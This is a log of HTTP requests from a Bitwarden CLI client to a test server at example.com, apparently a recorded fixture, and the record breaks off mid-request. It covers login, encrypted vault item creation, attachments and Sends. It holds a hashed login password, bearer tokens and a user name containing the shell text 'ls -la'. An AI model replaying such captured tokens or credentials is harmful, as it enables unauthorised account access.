{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 232", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "scope=api%20offline_access&client_id=cli&deviceType=25&deviceIdentifier=ccfb4fde-2e17-4f5f-8b15-46634b36002f&deviceName=linux&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 1641", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.Z5nJmiXusWFtUowJ7x5f9A==|OT1Jafd+iP6WNDUDY5W7HzmHWocQ/ddLLa7V/5DQSSg=|hin/K/21td17P1wDUlA0xd+/JjRn1bEIu5hbH/A3kgY=\",\"notes\":\"2.fqwOR1L0ja5sAZTmOMGrPQ==|SvlTbCxXQG5Wx9EYB854VkgJQ3iLcCXFtYfwimCo/O4wdTVdZrmHJTgbkpQr+zD4|Ofi9g56OqdgZM7/ddLzfJH3euRsx2pChmmnqzxzx4ms=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:13.604Z\",\"reprompt\":0,\"key\":\"2.qNWgSW0wFWRiBQQ2pBvugg==|kf6Xwaj862w3tBVw8OT64wSSpYa2MNBuOMrc8b8bip7HrTXNfA+GIUW6pRJzwZYmCOesNq46IDpxurmRyQ7Gb9WLPLFx8fsDiZkeI2I24Vk=|ci/4lTheuU7Hlnx8mOufyuwv2mFXteTgl6AQBcvWr/w=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.oQGgNV5p828JCPOVFIHGGQ==|DTvjo/kZiqby8ExwSBarw8GGBSD/IUN615dhbXc9JSc=|ZWDOC3nspTqtrGGAkm1iYeWG/5eV9/GF1oviZmBbvV0=\",\"uriChecksum\":\"2.K5ouCALcJP/tMSf2S7dW+g==|Y7LtYrDmckgUKul737xaMu08uUlCBpDj0X6Ewf0EPvlYIseO8G2ZwdgZQMgEsNKj|1FbMWYkYTA0GuLtaTlZo7WmevR3HPLIF/WVSzN+pPbc=\"}],\"username\":\"2.D034Q18CToi5ThaCH/vu1w==|cyPg7OXzwOMKVvHQTcfwMA==|IMtP9OTXhOu0/favJhaQAIVvwNz5zgqXj+cger9MHac=\",\"password\":\"2.8qcMZleZOhaEhNoETuzkGw==|bhTYthxRwvJ1Kxxmo4Co4prk0aJ5H4sbWuN/Px3Q8Ho=|i9GUianKi4QiSmWu2R0BWHQInbZ9QQlBWNv5+tszlGo=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.YsBSbtParc2pxtRlpURxgg==|Kno9h1nOV1VsuIknb1DeXA==|aV36kKZE3qtt8e/md3zwzVDDPl3hLoaUKAkOHoZQMNw=\",\"value\":\"2.xRJYPuHn8mIO5D743JI9+w==|Nc3RZCADbfznlMviEawJQqpvuQiq5r59heiWKhX8aKo=|7sX/rT3B0t8Fn00Q6Y3FKqcUXOif6xGi1uIWvHipFDE=\"}],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/api/folders", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 127", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"name\":\"2.WVAqr2ytaGgHd+S+ZKeE1A==|gXEYrZ9+X0b0Ed+LykvEHhNSWT1iyYDLbK7WthUMeI8=|Zkw8+UtMRnnT8QLk5mVHoNLvSByUjj+zYhBypot+518=\"}"}
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 386", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"key\":\"2.Def2b4y2obPcEEhvLZ52xA==|zoAva9s0BZk3RNy+xbUs5OWWQinGE3MatMZsqAsFC4VwgFizr8ulohf+vwdjFzxoYPzSQAMa6lkqPBaHrU/DHAgx+UDHuYUm8wKrKMz2vp8=|ZyYdXZnb15do5/5u9WMnQvhXuOaI54wOG0yjEz6xutU=\",\"fileName\":\"2.M31m0EXbTECu5cga3Qewug==|v/zzXQqZRUF3z9hD/pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\",\"fileSize\":81,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\"}"}
{"method": "POST", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------ac1fbd723921f8cdbcedef14", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 372", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------ac1fbd723921f8cdbcedef14\r\nContent-Disposition: form-data; name=\"data\"; filename=\"pwfMg==|JWsETiWitRU5uMe5fFC4MIFOh38K6GnLzoL0TT5BliI=\"\r\nContent-Type: application/octet-stream\r\n\r\nAt/odN546UbzO4vonQvDYG0dftxXWYyVm64t/i8bNlKi0/U8UNTrtiSDVyGNbHDAyDpyFsjM+CYFBAwFGgbZXRF/R2UtRsQiqfLnMkDUmgpX\r\n----------------------------ac1fbd723921f8cdbcedef14--\r\n"}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 2160", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.P99thPhZ8yi0obN+aJOgvA==|jzcU50oxWCuy4b2bPRw2+LDq5Og5lLCZOyvL5pMDc/E=|JiBejhJunSS+XVUW/Uo+vYidLb3zNfUhMVSWjiy42eo=\",\"notes\":\"2.Hw002B4MhHkPVO4JToKlxA==|1g9FwMpzT1UGBOncxX7shwm2yMxfUI0O9s49k4CV0/vVDBQrRaotpFPN0sxVn0OLggTmYFzq8dhWrAWO6DRa6A==|JY7HrcgYqrpOzZHw0czw3An+UkFU1kU7QsaDQqIcbbk=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"reprompt\":0,\"key\":\"2.ZM+ErmwLiCetQLjk9t/Oqg==|Aa9GdluVzjeTt2qqFl6KbQ0ukwH1kMbAiz0/1bJd/NnT0EJ3fFlk4X1bscVzjIPSqGAt7ggEE+fDI6fTvkRxKSPrqsbDsNGX8JPW9vHx9Zk=|9duEQAJnwhB/E6uLsqQSlIRuGgDfagV30mOvvuj80P8=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.iOMlG/0XNVAHTmFrZddb8g==|Bt8bQs6w9epzMM7OuZ5dBgKCSEmURqZPFGgbXXm5ztI=|g7UF0P+YztGy6PytQFT6RXUjH1fdF7SG7R3DLVNhW/w=\",\"uriChecksum\":\"2.JN/HmEqKJhV803j+rHqs0A==|lfXikwVg+yqMt/lqqYvk0ukvhcNStZbQQQwhU9CmckJ9a0vcf5o+ML8CzOI1Cxg6|MMkk+eNG3l/JWWGHelMVH2h7xah6P5k0zlz7EyR/06o=\"}],\"username\":\"2.c+0PsXOl4s5B0+uhH4oE6w==|LXgqO7vSpM/j0eBShayQOA==|qIJJfQbJxnKMuVCuAJA3S2fmnzOGIweovHrwnKDOQJk=\",\"password\":\"2.FjnIHbhJGaoR2StT8coYkA==|WoAeX6Hw8CgMkwmjwEvVYMCcYZ2BKEpzECHz/6w9OlE=|TE5vJ8bmzqpUCqMrKbx8rz4qlS1k35tDVuVVLbvdkTg=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.zipY6yLZkD7MwvVSLiuyuA==|T+Wp7CrWBwn8PEzPcqcavw==|EbZounb3oq0nPunJ9y7AjPWHXzC/Ggi7rOHMKQPlJ3Y=\",\"value\":\"2.V4pDbZ3DNE4QWHq6rWMduw==|t6N7i9tEc7xWvyGh6bqj7hxiHg1Q1Uq7uOhzoR71vxc=|uohBxB9Z7on7oKLjdEjNPxqFIpdNdVWz7Mi8OJJXYfU=\"}],\"attachments\":{\"27064510a3e9ed1edca1\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\"},\"attachments2\":{\"27064510a3e9ed1edca1\":{\"fileName\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\",\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"key\":\"2.pXQDG+au9m/hF4Gz0wGm9Q==|qjUHtPXPerxvYsoWCKcoTBDJhZrCWo23RmmKeglraQNLFZEPWlQslGmGfuwKQfm7qswjqcgQxi2CiBRG9esHcds4UfnyDmuEVqU5k6vxMrM=|2dLbqTZefL7q6L3aIbqL6ccGBBKVlZ4unOCsVMWIAyE=\"}}}"}
{"method": "GET", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Cache-Control: no-store", "Pragma: no-cache", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/attachments/7e721342-473b-4155-ba2f-c753499f0a63/27064510a3e9ed1edca1?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzIsImV4cCI6MTc5NDI4MjA5MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxmaWxlX2Rvd25sb2FkIiwic3ViIjoiN2U3MjEzNDItNDczYi00MTU1LWJhMmYtYzc1MzQ5OWYwYTYzIiwiZmlsZV9pZCI6IjI3MDY0NTEwYTNlOWVkMWVkY2ExIn0.hFu95tXJlLGjIcyFlyMXWWu5u7_ydoo77fYCi5c60vtgVYB6D7d9SWULqFNSCNPwf_SOjR_inp88mWFg1iH9s3y6g9AR_HcvMsdmDrioz-DDC_V54lrELUweDajL6wPBZrBI7Pi2OUIraJDzt_OZyeXdlw1VhlwWrm1MzvGxLBkDYMT8iHqeoWo78Of6qeJtBgpEPhQjaDgDALqyaYTR_-eVtqbJLGs3y8k75yQjj92ZjFMBDlXUpLWPEmDX_VfZsxUl-cm_YrpQ1Hmx_KqlcivwVQIBh4sRu7DFt-T2KBitRcihIKzksFZ46pJBaFnYw7oPo1BgP6dTd4eAlWLPVQ", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/api/sends", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 588", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":0,\"name\":\"2.Glf0PYqRTgKbTbYgpI+Q+g==|wO4P+lM0rq5yx5N+xkn2GPygZNVhjavM9cEUx+/2v94=|A7qL3rWJYJ1SMF/bLBqsKCtRdAhLh03sOwsIQGeT9aU=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:35.145Z\",\"key\":\"2.SoeZ4DYOUa4BrN5D0TQXOg==|5+ezaYP0oWqGQ1Yek6IQgWrhuaYmNMmPllOSxGg6vkY=|s63lHmyzot7NxlrHTT7q4b5TxkePPUzRGHJXDt38dQI=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.TWB82gm1XTK1iTFEPabm9g==|Ujlmk+y66U+x+xlLYUI45H5LT9N4cS+QzWsM0muJ7eQ=|74rS/jBPmTXAZ2WgjfBtJDmhSPt41/xO3rjgAxFZEa4=\",\"hidden\":false}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=DRVKX8U3Rpe3LZb9xIlbmw"}
{"method": "POST", "target": "/api/sends/access", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzcsImV4cCI6MTc5NDI4MjE1NywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiMGQxNTRhNWYtYzUzNy00Njk3LWI3MmQtOTZmZGM0ODk1YjliIn0.JlU6uKcOckWNUE5p83uG1S2VuX1_ZH4T8kN1E1WuI2z305ICMAaTPys7NNAMTSP0trBFJnaW_mKBTAu891oRiO_cESJYEE80jf9wHbD4bdm93gAlGncfOvjFI5HFWc2pGVn2IaeJMfGPCmcmtHRu8fO3CxiyKFGeukQWsUGHeYuIXUufNa-mY9AOWTLEqPI0LPEBTT6OSOZMu9LziwM0KOD-TdAzl1y4qP2nD5WkOL3tn6-GUi_nh2us1Z66hI3fWebNQQ5FT7bimUBmPtnWZBcQR3VCM7vlnOHdTstwFPytZ-QThg79_vK1xrD8Ut9FVzfVNXeAu2yJ-QmTlhpAtw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/api/sends/file/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLy